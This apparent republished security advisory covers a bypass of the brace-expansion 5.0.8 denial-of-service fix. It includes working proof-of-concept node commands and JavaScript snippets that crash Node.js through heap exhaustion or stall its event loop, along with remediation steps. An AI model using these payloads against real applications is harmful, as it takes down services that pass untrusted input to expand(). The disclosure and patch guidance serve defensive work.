brace-expansion Incomplete DoS Mitigation Bypass, CVE-2026-14257 (Critical) -DC-Aug2026-1252

Listen to this Post

The maxLength mitigation introduced in brace-expansion version 5.0.8 for CVE-2026-14257 was intended to prevent denial-of-service attacks by bounding the size of expanded output. However, the fix was applied only in the combine() function, which is the final aggregation point where results are concatenated. Two intermediate array construction paths were left unguarded, allowing attackers to bypass the mitigation entirely【0†L1-L4】.
The first bypass targets memory exhaustion. When processing comma-separated alternatives like {a,b,c,…}, each alternative is expanded independently via its own recursive expand_() call. Each expansion receives its own full maxLength allowance, and the results are concatenated into a single values array without any cumulative limit. With 400 alternatives and the default maxLength of 4,000,000, the values array can reach 1.6 billion characters before combine() ever gets a chance to truncate. A mere ~25 KB input triggers an uncatchable heap out-of-memory error that crashes the Node.js process, and try/catch around expand() provides no protection【0†L5-L11】.
The second bypass causes CPU exhaustion through padded sequences. The expandSequence() function was bounded by max (result count) but never checked maxLength. A padded sequence like {0…01..100000} generates max elements, each as wide as the input padding. Although V8 represents padded strings as cons-strings to keep memory flat, the CPU cost scales as max × width. A ~400 KB input blocks the event loop for over two minutes while generating results that are immediately discarded【0†L12-L20】. The fix now bounds intermediate arrays during construction, tracking running result counts and character lengths, and stops once either bound is reached【0†L21-L24】.

DailyCVE Form:

Platform: Node.js
Version: 5.0.8
Vulnerability: DoS (Memory/CPU)
Severity: Critical
date: 2026

Prediction: 2026-08-10

What Undercode Say:

Memory exhaustion PoC against 5.0.8 (~25 KB input)
node -e "import('brace-expansion').then(m => { const input = '{' + Array(400).fill('{' + '0'.repeat(50) + '1..100000}').join(',') + '}'; m.expand(input); })"
Expected: FATAL ERROR: Ineffective mark-compacts near heap limit - JavaScript heap out of memory
CPU exhaustion PoC against 5.0.8 (~400 KB input, ~2 minute block)
node -e "import('brace-expansion').then(m => { m.expand('{' + '0'.repeat(400000) + '1..100000}'); })"
Expected: ~124 seconds of event-loop stall
// Memory exhaustion - process crashes, try/catch does not help
import { expand } from 'brace-expansion'
const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}' // ~25 KB
try {
expand(input)
} catch (e) {
// never reached - the process is already dead
}
// CPU exhaustion - event loop blocked for ~2 minutes
import { expand } from 'brace-expansion'
expand('{' + '0'.repeat(400_000) + '1..100000}') // ~400 KB, 9 results after ~124s

Exploit:

An attacker can craft a brace pattern with 400 comma-separated alternatives, each containing a padded sequence with 50 zeros followed by 1..100000. This ~25 KB payload triggers the memory exhaustion path, crashing the Node process. Alternatively, a single padded sequence with 400,000 zeros followed by 1..100000 (~400 KB) triggers the CPU exhaustion path, blocking the event loop for over two minutes. Both vectors bypass the 5.0.8 maxLength mitigation because the bounds were only applied in combine() after intermediate arrays were already fully built【0†L5-L11】【0†L12-L20】.

Protection:

Upgrade to the patched version where both intermediate arrays are bounded during construction. The values array now tracks a running result count and character length while alternatives are appended, stopping once either bound is reached. expandSequence() now accepts maxLength and stops generating once the sequence’s own characters reach it【0†L21-L24】. If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass explicitly small max and maxLength values. Note that a small maxLength alone was not sufficient on affected versions, as it was applied per alternative rather than cumulatively【0†L25-L27】.

Impact:

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch. Applications already on 5.0.8 are affected because the 5.0.8 mitigation does not cover these paths【0†L28-L30】. The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra; the sequence-generation issue was found while verifying that report【0†L31-L32】.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top